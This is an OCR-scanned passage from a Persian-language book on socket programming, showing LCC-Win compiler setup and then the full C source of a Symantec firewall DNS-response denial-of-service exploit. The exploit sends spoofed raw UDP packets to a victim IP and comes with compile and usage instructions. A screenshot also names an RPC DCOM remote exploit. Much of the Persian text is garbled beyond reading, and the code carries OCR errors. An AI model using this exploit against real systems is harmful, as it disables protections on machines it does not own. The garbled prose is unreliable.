Codte genly Jlgw 4,15 cpl plosl a4 bled &g 50 aiS o aslol (al> o 0 al> o sl i ) WizZaTd
g gom Ao 4 B oo Lid |, NO aSs &jgo opl e 0 aund

Infarmation

Do wou wank to use the wizard to generake the application skeleton?

Yes Mo |

4-15 s

S8 iy p SSle Wy 9wl oo dlng Hl eolatul e oen CSle 28 a4 e Lxil o
@ g Col a5 Lol [l )5 0,050 5l solatwl L aS > 40 o,ls (6t Sludg a0 Lo g 0090 JSieo

il cmmgh oS Al e 4 YBS 438 ORI L) 045 059 a5 wled oo
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IS j0 15 0y opl 0gi o ,alls Compiler Settings e b sl o, NO asSs 10,5 SIS 5l s

Compiler, settings

Freprocesszar
Hdefines

|

¢includer Path
|F Y loch ine lude

Code generation

’ Structure ahgnment
[T Generate .asm [ Generate browse info g

Wi |lze pentium pro default LJ
P inztructions

[ Enable profiing I Eliminate unused assignments

[Debugging support lesvel

w3 Generate Run time stack trace Fun time gtack trace and
debug info support [-g3] line number zupport [-gd]
i~ Language extenzionz Warning level - — Mizc
: &+ Maormal |ntermeadiat
ol C SO oonl FLErme IEI.E
== Al Al language file

| et » | Cancel

LLals lelas o 4-16 S

VLY JLQ.cI)LLAlS 69))%‘) 095,14'50)9.0 Sleodas J..u‘y‘saol.o.uo)zu Q—.’.‘}‘ oolazwl b

es ((trace code) oS Jbs, @ bae J)lgiws « 03550 i ygiws Joli aiily o Slewdas oy
Aol g JbelS ey jo aelip oS (o5le Ay s gi 05T 0 oolaiul 0550 L5 o laslisl
.%pdﬁméwwﬁguwwaextMoswkjpl)omalué)é&%aw
Lo 5 ,50d 0 bgrye olaalats a5 0T o 40 Liules 4 Linker Settings oL b sl o, o al> e o
'*’-.950#:%"5‘)°9-3g5"°°‘°)‘)§(j)° ol 5l EXE LB aS (6 e M‘y‘snl.o.wo)m.: ol e
l)09.;;3&@mguﬁ@w&uc\fgdﬁodu&&glgdmalmo@)owg
ué)‘s

www.PersianGenius.blogfa.com Page 182



M) Socket Network Programming 8Sois uS g oarisgs ol I

O S i gz 093 Sl 4 gl plesS T als (o0 5 0 2y ol ( TEXEBOX ) (e a0
S sl LLalS Lawgs oo 4zl Object L

ool b ailys o a5 sl oo OPHIONS (rizeen 5 055, e384 boiye b oty () Ka0 (slo o
WSS o liw 1y sgsLinker T

ASS

LCC- ;o 059, il 5l (gom al> o 4o NEXE auSs 1405 b Lasd o oty cpl 10 jodd g0 dwiles oo Lo
3l Wy 5o alie glo oty S0 g oyt al 50 Sl 4 095 035 5l 4 L ST (Js sy WIN
09 s Ll o g 09l aBle giwpd a4 el o3 U oS Jleel |y Ol s ol C80 L Lois oy )ls 0595

X

Linker settings

i~ Dutput file narme

|d:'\.testlu:u:'hln:u:'\sewer.c. ExE

Additional files to be included in the link,

Oplions Type of output
Generate Do not include the " windows appl
a map file debug information

- * Conzole appl.

" DLL

E ntry poink name [far dils] i
| 7 Stalic library

i~ &dditional argumnents to be pazszed to the linker

|

< Back | Mest » | Cancel

S Sloglass 4y gy o 0 2y 4-17 IS

WS e coline 1, 4-18 o o s NEXE auSs 105 5 o

www.PersianGenius.blogfa.com Page 183



M) Socket Network Programming SSoi CuS g oasisgs ol I

Debugger settings @

Carnniand ling argurments ta pass to program

I

Start directory

|d:\testlcc'\lcc

i~ Executable to start

|d: Westicchlochserver coexe

™ Trap all exceptions * Dizplay base 10

Wurnber of positions " Display baze 16
to dizplay in arrays

< Back | Firizh | Caticel |

Debugger Settings « by o 0 0 4-18 Jsio

ez o |y apms Jlil adlyy ey spalys e a5 1) Gleyh b la (lesS )T il (oo Lok ceand ] o
LCC- Lo jo asbp s Jsb 0 a5 sitwn ola (legS )T led b (ol 0usS o))y amio opl Slanl e
A sy sl cuws @rgv g arge 4 Win
6‘?‘6‘).:beﬁw‘dws@bf&sﬂwomkﬁmwja440)7&.:d‘;éwwsé
.mdw\ﬁwiguuﬁ .exe L

)..u ‘) KVLY ‘s,o)ls l.e[j la L})J&M:‘ 45‘) 60“.&.2‘ 6L-o J..u‘y &° 0y LJ"‘ ‘5:940‘) 6[.@ AeS D )‘ ool.a.,..,.u\l;
oS soliiwl 16 sls 5 og00l, aaSs Sos Sl b

s jLas | NEXE oS ax al> o 0 (38, (s

o555 85 2o b Gujgw 505 @Bl 4 a) oo Zagi e g Sl 5 S 5 HhLelS Gilise Slaplas o
BB e 0,5 Bl 4 5Ls 095 aslip o Lais 51 g sl o Lozl (4-19 JSa ) cad ol oo 5ls Lo
Saio |y oy ool CaNCel aaSs g5, » SIS L adilys o 0 >

ASSS

ol iy aSd sla aslip 0,5 bLals (gl aS |, WS2_32.1ID ailsulss al o o) j0 auilys oo Lo
coas |, LCC-WIN oS (6 1o j0 ailbulsS pl oS a8l 095 aslip a1, el L5 WINSOCK2.N  jua L

Byl 1,8 lib el sl adg ;o wles S

www.PersianGenius.blogfa.com Page 184



M) Socket Network Programming 8Sois uS g oarisgs ol I

File. Edit Search Project Design Compiler Ubls Veesions . Window Helo

Add source files to project

Loak in: |_B Testlee ;I = =k BEl-
(lec

@J

Iy Recent
Documents

&

o

My Metwork,  File name: |E
Places

Filez of type: IE development files(ch;rc)

l O build search

:4 Start & imags o ) Z e \ Db 114006 Boad

4-19 s

p....f sl ojﬁfﬂwysnu‘)o |) d..ol.»).» 6LDJS¢LT|J 059- d.ol.»f

IS 0oty atS Ol | File any ;s NEW (g 5 50 5 i, b (55t 4 ailsi (oo pshate ol (sl
L 1) ol 4eSs 5 atigs o] o Ui b ohan | 095 bl ol aul e 5o inles 4 Lo sl 4-20

WX

S 393 Aalip oS yigs A g0 Ledd a5 Gl oolel juz den S

M arne? Ok I
e

IServer.d Cancel

Lo bbbl egos 4-20 s

www.PersianGenius.blogfa.com Page 185



M) Socket Network Programming 8Sois uS g oarisgs ol I

Sl sl 1) 0T a2l Bl a5 08 BLals 1) 095 asliyy aSiyl gl ol (qusi o5 plasl ) oy
L (oS ooliiwl aslip blslS cpz 55 F9 il ol 5l wly ) Make a5 Compile s
(4-21 JSa) a5

B9l o aiFle Bl 00,5 0,33 | 395 059 A (6 s ;0 LCC oL a4y (gl diigy o e ol sl

S 1l 095 anliyy 5 g see O &1 ) ol (o Al T2l sl

A

Execute sl cp oS 1al 1) 053 asby s LCC-WIN L 5l ooliiwl b ol oo L
edo jLad ey oo |, CUIIHFS la oS asiul b oss SUUs Compile 4o 511, ProgramName

[ wedit-server
File Edit Search FProject Design Besuei=ay Lkis Yersions ‘Window Help
Make
Link
Fenerate Makefile
Febwild all

Check synbax Al

EEE I
Setkings

Debugaer FS

Breakpaints
set braakpoink F2

Lee-Win LLals oo ioles 4-21 IS

ol aied, 08 LIS ol o ond 4zl o, blolS 5 LOC-WIN U asliys S oy 75 b cpay
055 asliy bl aualss (oo add 5wy by Lol )0 ) 095 asliyy o ujge Lo &8lge 51 (L o Lol o
L1y o i Lo o oablso olai ) il 1y 0T (ll auliys 5 008 BLalS 420508 LLLAS (ol bass
Sore 4 Wbl Led pslare ol sl (als JLaxst jo 1) (T 08 g g ol anings NOtPAL o (690l
IS8 ) wS 5L LCC-WIN o 1 093 asbip aie 1 oles 50 5 9S SUS 1, OpeN an 5 5 g 3

(4-22

www.PersianGenius.blogfa.com Page 186



M) Socket Network Programming 8Sois uS g oarisgs ol

) oS SIS 1, Compile o Make a5 aSul b awas Lzé 1, FO ols asby blsls lp ST
aS 15 095 asliy auilgs o 9 098 oo blalS i)y a0 il asly glas Les aslip 51 J>.(4-23 s
DS Lyl 1) g ] 50 Led e 84S (6 s ;0 LCC oL a (gl aligy o

File Edit Search Project Design Compiler Utils  Versions Window Help

@ f:\documents and settings\farhadnialdesktopldcom4Bg.c |Z| |§| |E|

RS S S SEEFSEFEE S RSSE ~
i I = |
i s ™
i Windows REPC DCOM Remote Exploit with 48 TARGETS I
£ I
£ I
RSN SN S PEEEEEEFEESSESEEEE
i i
I English - French - Chinese - FPolish - German i
£/ Japanese - Korean - Mexican - Eenyan £
s I
s Tks to all wolrd wide contributors (Public Property) i
£ I
S Mew Targets ? contriblik-otik.com i
i i
R RS S S EER N E S R S E
bl

[ wedit-server
File  Edit

Search Project  Design

il f:\documents and setting i
ik,

U777 000 i i 00 Generate MakeFle

s Rebuild 2l £ =]
i Check synkax alt+Fa e
i Windows RPC|- -|th 45 TARGETS i
7 Settings i
s | | i
RSNy NSNS IIRY. Ef:a”kii?;ts w2 PELIELTEILEEITEITEiiiiiiies
L 1 i
i English - Set breakpoint Fe zh - German bt
/ Japans  compile doomddg.c Eenyan e
i Execute server.exe Chrl+FS i
/ Tks to all molroawroc——oocroaeoc—— Public Property) bt
L i
i MNew Targets ? contribRk-otik.com bt
I s

PP,

|£

4-23 Jss

www.PersianGenius.blogfa.com Page 187



M) Socket Network Programming 8Sois uS g oarisgs ol I

el e]

Glall 4y 4 (gl Albuls LB Sy a5 Cel 55 a5 aBlge 5ol ) oS aBLSN 1) (Ll 055 adliy 4y elys 51
el sl oy o] 5l am o (4-24 JS2) w5 1, Add/Delete File <5 Project oo 5l el 315 (09
aalip a bl 0,5 Bix> g 0,5 adllbl cga ol oo a5 (4-25 o) 09i o0 3L Source File for Project

DS eolail o 5l ogs

RV |)Add new File aess oyox b S o5 dlsl gl -

S s 1, Remove Selected file awss L6 S Bis> ol -

el e]

9 by b Su 0 b o s oo )8 eoliiul )90 093 pla asly ST 0 45T (Ll g @l el g
aabp o 00,5 oolel By jo i pas anS wdlbl g3 alip a1y bl cpl 5o Gla asly o 5l plKe o

L2 wedit-server

File Edit Search BaiEEss Design  Compiler  Ukils  Mersions  Window  Help

Configuration

Create, ..

open. ..

Clase, ..

Eraze...
addDelete files. ..
Irnpaort. .,

Irmport Tvpelibrary. .,
Qpen all files
Workspace

Lcc-win «sls, Project soee jioles 4-24 S

www.PersianGenius.blogfa.com Page 188



M) Socket Network Programming 8Sois uS g oarisgs ol I

Source files for project {null}

Erlochlibvoms? 3200

Add new file...
Remove selected fiIeI

Modify selected file

Fead file list from a
test file. .

Source file for Project o > ioles 4-25 s

' Jols i Command Prompt cexd Lec-Win adwg 4ol g b5

command cou 1) 065 sla asli,y LCC e 51 oolanwl (ygas auslys oo bed b LLals o ailen
S blals LCC,LLAL (sle ask 5l oolawl L g 59004 Prompt

shell ,s j5iws o slal b hais g ey @ a5 020 o |y K6l op) Lty 4 LCC-WIN Clis  S59 0y)

DS Sod g BLelS 1) 095 4l 0550 aelp Jele pis

s LCC-WIN a5 (6 1ie 0 asbip ol cosles soliiul 1C.8XE aalipy 5l oy oo Lo jslate ol sl

syls 1,8 bin el ol adgy o cewl oas

JB sl asliy cnl dnr g ey alin (pl 4 1) 395 08T Gejg B Wb S oy SO JLeT
= o5l el BB ges,S S|, aslip Object L Sslogs! & g0 a0 g axslo Lot 4l 51 Object
25l

WS 2B 5 Jlie o

C:\>Lcc\bin\lc -o Client.exe d:\test\client.c

www.PersianGenius.blogfa.com Page 189



M) Socket Network Programming oSt S gy ol

30wl 03,5 JLalS IC.XE aslyy SeS L1y oyl 4,3 AIMESt s j0 a5 0 g o Lo Jlio ol o

o 3l 2! BB el s lp ¢ ol oo ools b b opl yo a5 LS sla Ll aslen 5 bx)
(el oo Client.exe 1>l aslip pb bo Jlo j0) o2l 03,5 colizwl O

sla LLalS b g aujlan 1) 095 aSiis Cos sla aslip ailys o 439 a5 Wyl aidgal Lot Cond (o b

by S o oS g 00,5 RlelS g s 5k b iy LSl g nped gl b Gl aslsl o
w2l 03,51 1 (0038 o la S Lz o) el Gins 5110 pinw o a5 (5l asli ) ol
Uy 5 S o solil Symantec Norton ° il cls o lss 1o sszge el Gind 51 a5 wypms oyt
a2 oo 8 Sa Lasl o |y conl (55T 04l cpl A jeome 45 1) cedia

oS 9 Jole im0 hlals LB oo o5 Coul oud atdyl ol adyb 4 by (nl 45T 0050 axdls 4z
Oy Slyghnd jlesliiul b a8 &jg0 020 0,8 JlealS S99 Jele plcs 2o 1) Gl G155 (o0 o g S
ol oals s Jale pians 52 4 bgyse slajae wn g WS e atda |) ole it 55 003l

).:) )Q . ..)....S oolaswl w.?u w‘ )Q 0l ‘59).’.9 6[@ )Ll...nlf )‘ g_i: L )‘ ..)..\.:‘94 &° Mla).: w‘ J;l...olf (5‘).:
ol 00l 00l G...oy VC++ 9 gCC )Ll..uolf la JJl.A.AlS 09>

o VC++: cl -0 HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib
o gcc : gcc -0 HOD-sym-DoS-expl HOD-sym-DoS-expl.c —Wall

T4l g9 o
/* HOD-symantec-firewall-DoS-expl.c:

* Symantec Multiple Firewall DNS Response Denial-of-Service

*

* Tested on:
* - Symantec Norton Personal Firewall 2004

* Systems Affected:

® Firewall
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* - Symantec Norton Internet Security 2002

* - Symantec Norton Internet Security 2003

* - Symantec Norton Internet Security 2004

* - Symantec Norton Internet Security Professional 2002
* - Symantec Norton Internet Security Professional 2003
* - Symantec Norton Internet Security Professional 2004
* - Symantec Norton Personal Firewall 2002

* - Symantec Norton Personal Firewall 2003

* - Symantec Norton Personal Firewall 2004

* - Symantec Client Firewall 5.01, 5.1.1

* - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)

* - Symantec Norton AntiSpam 2004

* Compile:

*  Win32/VC++ : cl -0 HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib

*

Win32/cygwin: gcc -0 HOD-sym-DoS-expl HOD-sym-DoS-expl.c -lws2_32.lib

*  Linux : gcc -0 HOD-sym-DoS-expl HOD-sym-DoS-expl.c -Wall

* Command Line Parameters/Arguments:

*

* HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int]

* -fi:IP From (sender) IP address

* -tp:int  To (recipient) port number

* -ti:IP To (recipient) IP address

* -n:int  Number of times to send message
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*/

#ifdef _WIN32

#pragma comment(lib,"ws2_32")
#pragma pack(1)

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>

#include <ws2tcpip.h> /* IP_HDRINCL */
#include <stdio.h>

#include <stdlib.h>

#else

#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#include <string.h>

#Hendif

#define MAX_MESSAGE 4068

#define MAX_PACKET 4096

#define DEFAULT_PORT 53

#define DEFAULT_IP "10.0.0.1"

#define DEFAULT_COUNT 1

#ifndef _WIN32
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# define FAR

#endif

/* Define the DNS header */

char dnsreply[] =

"\xc9\x9c" /* Transaction ID */

"\x80\x00" /* Flags (bit 15: response) */

"\x00\x01" /* Number of questions */

"\x00\x01" /* Number of answer RRs */

"\x00\x00" /* Number of authority RRs */

"\x00\x00" /* Number of additional RRs */

"\xCO\x0C"; /* Compressed name pointer to itself */

/* Define the IP header */

typedef struct ip_hdr {
unsigned char ip_verlen; /* IP version & length */
unsigned char ip_tos; /* 1P type of service */

unsigned short ip_totallength; /* Total length */

unsigned short ip_id; /* Unique identifier */
unsigned short ip_offset; /* Fragment offset field */
unsigned char ip_ttl; /* Time to live */

unsigned char ip_protocol; /* Protocol */

unsigned short ip_checksum; /* 1P checksum */
unsigned int ip_srcaddr; /* Source address */
unsigned int ip_destaddr; /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;
/* Define the UDP header */
typedef struct udp_hdr {
unsigned short src_portno; /* Source port number */
unsigned short dst_portno; /* Destination port number */
unsigned short udp_length; /* UDP packet length */
unsigned short udp_checksum;  /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;

/* globals */
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unsigned long dwTolP, // 1P to send to

dwFromlP; /1 1P to send from (spoof)
unsigned short iToPort, // Port to send to

iFromPort; // Port to send from (spoof)
unsigned long dwCount; // Number of times to send
char strMessage[MAX_MESSAGE]; // Message to send

void usage(char *progname){

¥

printf("Usage:\n\n");

printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-tp:DST-PORT] [-n:int]\n\n",

progname);
printf(" -fi:IP From (sender) IP address\n");
printf(" -tp:int  To (recipient) open UDP port number:\n");

printf(" 137, 138, 445, 500(default)\n");

printf(" -ti:IP To (recipient) IP address\n");
printf(" -n:int  Number of times\n");
exit(1);

void ValidateArgs(int argc, char **argv){

int i;
iToPort = 500;
iFromPort = DEFAULT_PORT;
dwTolP = inet_addr(DEFAULT_IP);
dwFromIP = inet_addr(DEFAULT _IP);
dwCount = DEFAULT_COUNT;
memcpy(strMessage, dnsreply, sizeof(dnsreply)-1);
for(i=1; i < argc; i++) {
if ((argv[i][0] == "-) || (argv[i][0] == /")) {
switch (tolower(argv[i][1])) {
case 'f":
switch (tolower(argv[i][2])) {
case 'i'":

if (strlen(argv[i]) > 4)
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dwFromIP = inet_addr(&argv[i][4]);

break;
default:
usage(argv[0]);
break;
}
break;
case 't":
switch (tolower(argv[i][2])) {
case 'p':
if (strlen(argvli]) > 4)
iToPort = atoi(&argv[il[4D);
break;
case 'i'":
if (strlen(argv[i]) > 4)
dwTolP = inet_addr(&argv[il[4]);
break;
default:
usage(argv[0]);
break;
}
break;
case 'n':
if (strlen(argv[i]) > 3)
dwCount = atol(&argv[i][3]);
break;
default:
usage(argv[0]);

break;
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return;

¥

/*  This function calculates the 16-bit one's complement sum */

/> for the supplied buffer */

unsigned short checksum(unsigned short *buffer, int size){

unsigned long cksum=0;
while (size > 1) {
cksum += *puffer++;
size - = sizeof(unsigned short);
}
if (size) {
cksum + = *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & Oxffff);

cksum + = (cksum >>16);

return (unsigned short)(~cksum);
}
/* Main Function */
int main(int argc, char **argv){
#ifdef WIN32
WSADATA  wsd;
#endif
int s;
#ifdef WIN32
BOOL bOpt;
#else
int bOpt;
#endif
struct sockaddr_in remote;
IP_HDR ipHdr;

UDP_HDR udpHdr;

www.PersianGenius.blogfa.com

Page 196



M) Socket Network Programming SSoi CuS g oasisgs ol I

int ret;
unsigned long i;
unsigned short  iTotalSize,
iUdpSize,
iUdpChecksumSize,
ilPVersion,
ilPSize,
cksum = 0;
char buf[MAX_PACKET],*ptr = NULL;
#ifdef WIN32
IN_ADDR addr;
#else
struct sockaddr_in addr;
#endif
printf("\nSymantec Multiple Firewall DNS Response Denial-of-Service exploit
v0.1\n");
if (argc < 3) usage(argv[0]);
ValidateArgs(argc, argv);
#ifdef WIN32
addr.S_un.S_addr = dwFromlP;
printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
addr.S_un.S_addr = dwTolP;
printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
printf("[*] Count: %d\n", dwCount);
#else
addr.sin_addr.s_addr = dwFromlP;
printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
addr.sin_addr.s_addr = dwTolP;
printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
printf("[*] Count: %d\n", dwCount);
#endif

#ifdef WIN32
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if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
printf("[-] WSAStartup() failed: %d\n", GetLastError());
return -1;
}
#endif
/* Creating a raw socket */
s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef WIN32
if (s == INVALID_SOCKET) {
printf("[-] WSASocket() failed: %d\n", WSAGetLastError());
return -1;
}
#endif

/* Enable the IP header include option */

#ifdef WIN32
bOpt = TRUE;
#else
bOpt = 1;
#endif

ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef WIN32
if (ret == SOCKET_ERROR) {
printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
return -1;
}
#endif
/* Initalize the IP header */
iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(dnsreply)-1;
ilPVersion = 4;
ilPSize = sizeof(ipHdr) / sizeof(unsigned long);
ipHdr.ip_verlen = (ilPVersion << 4) | ilPSize;

ipHdr.ip_tos = 0; /* IP type of service */
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ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */

ipHdr.ip_id = 0; /* Unique identifier: set to 0 */
ipHdr.ip_offset = 0O; /* Fragment offset field */
ipHdr.ip_ttl = 128; /* Time to live */
ipHdr.ip_protocol = 0x11; /* Protocol(UDP) */
ipHdr.ip_checksum = 0 ; /* IP checksum */

ipHdr.ip_srcaddr = dwFromlP;  /* Source address */
ipHdr.ip_destaddr = dwTolP; /* Destination address */
/* Initalize the UDP header */
iUdpSize = sizeof(udpHdr) + sizeof(dnsreply)-1;
udpHdr.src_portno = htons(iFromPort) ;
udpHdr.dst_portno = htons(iToPort) ;
udpHdr.udp_length = htons(iUdpSize) ;
udpHdr.udp_checksum =0 ;

iUdpChecksumSize = 0;
ptr = buf;

memset(buf, 0, MAX_PACKET);
memcpy(ptr, &ipHdr.ip_srcaddr, sizeof(ipHdr.ip_srcaddr));
ptr += sizeof(ipHdr.ip_srcaddr);
iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);
memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
ptr += sizeof(ipHdr.ip_destaddr);
iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);
ptr++;
iUdpChecksumSize += 1;
memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
ptr += sizeof(ipHdr.ip_protocol);
iUdpChecksumSize += sizeof(ipHdr.ip_protocol);
memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
ptr += sizeof(udpHdr.udp_length);
iUdpChecksumSize += sizeof(udpHdr.udp_length);

memcpy(ptr, &udpHdr, sizeof(udpHdr));
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ptr += sizeof(udpHdr);
iUdpChecksumSize += sizeof(udpHdr);
for(i = 0; i < sizeof(dnsreply)-1; i++, ptr++)
*ptr = strMessage[i];
iUdpChecksumSize += sizeof(dnsreply)-1;
cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
udpHdr.udp_checksum = cksum;
memset(buf, 0, MAX_PACKET);
ptr = buf;
memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
memcpy(ptr, strMessage, sizeof(dnsreply)-1);
remote.sin_family = AF_INET;
remote.sin_port = htons(iToPort);
remote.sin_addr.s_addr = dwTolP;
for(i = 0; i < dwCount; i++) {
#ifdef WIN32
ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, sizeof(remote));
if (ret == SOCKET_ERROR) {
printf("[-] sendto() failed: %d\n", WSAGetLastError());
break;
} else
#else
ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
sizeof(remote));
#endif
printf("[+] sent %d bytes\n", ret);
}
#ifdef _WIN32
closesocket(s);
WSACleanup();

#Hendif
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return O;

S >l Command Prompt <G o 1) aslip ool >l oS aslip ol 5l eolial (sl
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HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int]
-fi:lP  From (sender) IP address

-tp:int  To (recipient) port number

-ti:IP  To (recipient) IP address

-n:int  Number of times to send message

CogleSl a4 a5 Jhe ojleds g cain s ile uu)oT iy a4 deliy sl Qu;j 3o Ll Lol o
Sboi ez olosS)l ln ales 5 9 005 edlo [P o)las pous (LagS )T 10 (izan 5 ams (oo ol

il ol p g 0l
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